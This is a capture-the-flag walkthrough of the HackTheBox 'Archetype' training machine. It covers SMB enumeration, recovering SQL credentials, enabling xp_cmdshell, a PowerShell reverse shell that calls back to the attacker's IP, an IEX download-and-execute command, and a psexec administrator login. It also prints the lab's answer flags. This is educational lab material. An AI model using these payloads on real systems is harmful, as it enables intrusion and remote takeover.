HackTheBox-StartingPoint-Archetype
Archetype
Starting Point
Introduction to HTB labs and basic machines/challenges.
Enumeration
unknown@kali:/data$ ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) unknown@kali:/data$ nmap -sC -sV -p$ports 10.10.10.27 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-12 07:28 CEST Nmap scan report for 10.10.10.27 Host is up (0.031s latency). PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM | ms-sql-ntlm-info: | Target_Name: ARCHETYPE | NetBIOS_Domain_Name: ARCHETYPE | NetBIOS_Computer_Name: ARCHETYPE | DNS_Domain_Name: Archetype | DNS_Computer_Name: Archetype |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2020-06-12T03:36:15 |_Not valid after: 2050-06-12T03:36:15 |_ssl-date: 2020-06-12T05:43:40+00:00; +14m28s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 1h38m28s, deviation: 3h07m52s, median: 14m27s | ms-sql-info: | 10.10.10.27:1433: | Version: | name: Microsoft SQL Server 2017 RTM | number: 14.00.1000.00 | Product: Microsoft SQL Server 2017 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | smb-os-discovery: | OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3) | Computer name: Archetype | NetBIOS computer name: ARCHETYPE\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2020-06-11T22:43:35-07:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-06-12T05:43:34 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 64.79 seconds
Ports 445 and 1433 are open, which are associated with file sharing (SMB) and SQL Server.
It is worth checking to see if anonymous access has been permitted, as file shares often store configuration files containing passwords or other sensitive information. We can use smbclient to list available shares (use an empty password):
unknown@kali:/data$ smbclient -L //10.10.10.27
Enter WORKGROUP\unknown's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
It seems there is a share called backups. Let’s attempt to access it and see what’s inside.
unknown@kali:/data$ smbclient //10.10.10.27/backups
Enter WORKGROUP\unknown's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jan 20 13:20:57 2020
.. D 0 Mon Jan 20 13:20:57 2020
prod.dtsConfig AR 609 Mon Jan 20 13:23:02 2020
10328063 blocks of size 4096. 8259098 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (4.1 KiloBytes/sec) (average 4.1 KiloBytes/sec)
smb: \> Ctrl^D
There is a dtsConfig file, which is a config file used with SSIS.
unknown@kali:/data$ cat prod.dtsConfig
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
Foothold
We see that it contains a SQL connection string, containing credentials for the local Windows user ARCHETYPE\sql_svc.
Let’s try connecting to the SQL Server using Impacket’s mssqlclient.py.
unknown@kali:/data$ mssqlclient.py ARCHETYPE/[email protected] -windows-auth Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation Password: [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'. [*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (140 3232) [!] Press help for extra shell commands SQL> select is_srvrolemember('sysadmin') ----------- 1 SQL>
We can use the IS_SRVROLEMEMBER function to reveal whether the current SQL user has sysadmin (highest level) privileges on the SQL Server. This is successful, and we do indeed have sysadmin privileges.
This will allow us to enable xp_cmdshell and gain RCE on the host. Let’s attempt this, by inputting the commands below.
SQL> EXEC sp_configure 'Show Advanced Options', 1;
[*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure;
SQL> sp_configure;
name minimum maximum config_value run_value
----------------------------------- ----------- ----------- ------------ -----------
access check cache bucket count 0 65536 0 0
access check cache quota 0 2147483647 0 0
Ad Hoc Distributed Queries 0 1 0 0
[REDACTED]
user connections 0 32767 0 0
user options 0 32767 0 0
xp_cmdshell 0 1 1 1
SQL> EXEC sp_configure 'xp_cmdshell', 1
[*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure;
SQL> xp_cmdshell "whoami"
output
--------------------------------------------------------------------------------
archetype\sql_svc
NULL
SQL>
The whoami command output reveals that the SQL Server is also running in the context of the user ARCHETYPE\sql_svc. However, this account doesn’t seem to have administrative privileges on the host.
Let’s attempt to get a proper shell, and proceed to further enumerate the system. We can save the PowerShell reverse shell below as shell.ps1 (adapt the IP address with yours).
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.3",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Next, stand up a mini webserver in order to host the file. We can use Python.
unknown@kali:/data/tmp$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
After standing up a netcat listener on port 443, we can use ufw to allow the call backs on port 80 and 443 to our machine.
unknown@kali:/data/tmp$ sudo ufw allow from 10.10.10.27 proto tcp to any port 80,443
unknown@kali:/data/tmp$ sudo rlwrap nc -nlvp 443
listening on [any] 443 ...
We can now issue the command to download and execute the reverse shell through xp_cmdshell (Once again, adapt with your IP address).
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.3/shell.ps1\");"
A shell is received as sql_svc, and we can get the user.txt on their desktop.
# whoami archetype\sql_svc # more \users\sql_svc\desktop\user.txt 3e7b102e78218e935bf3f4951fec21a3
User flag: 3e7b102e78218e935bf3f4951fec21a3
Privilege Escalation
As this is a normal user account as well as a service account, it is worth checking for frequently access files or executed commands. We can use the command below to access the PowerShell history file.
# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!! exit
This reveals that the backups drive has been mapped using the local administrator credentials. We can use Impacket’s psexec.py to gain a privileged shell.
unknown@kali:/data$ psexec.py [email protected] Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation Password: [*] Requesting shares on 10.10.10.27..... [*] Found writable share ADMIN$ [*] Uploading file HbnjRkzA.exe [*] Opening SVCManager on 10.10.10.27..... [*] Creating service VXMW on 10.10.10.27..... [*] Starting service VXMW..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system
This is successful, and we can now access the flag on the administrator desktop.
C:\Windows\system32>more \users\administrator\desktop\root.txt b91ccec3305e98240082d4474b848528
Root flag: b91ccec3305e98240082d4474b848528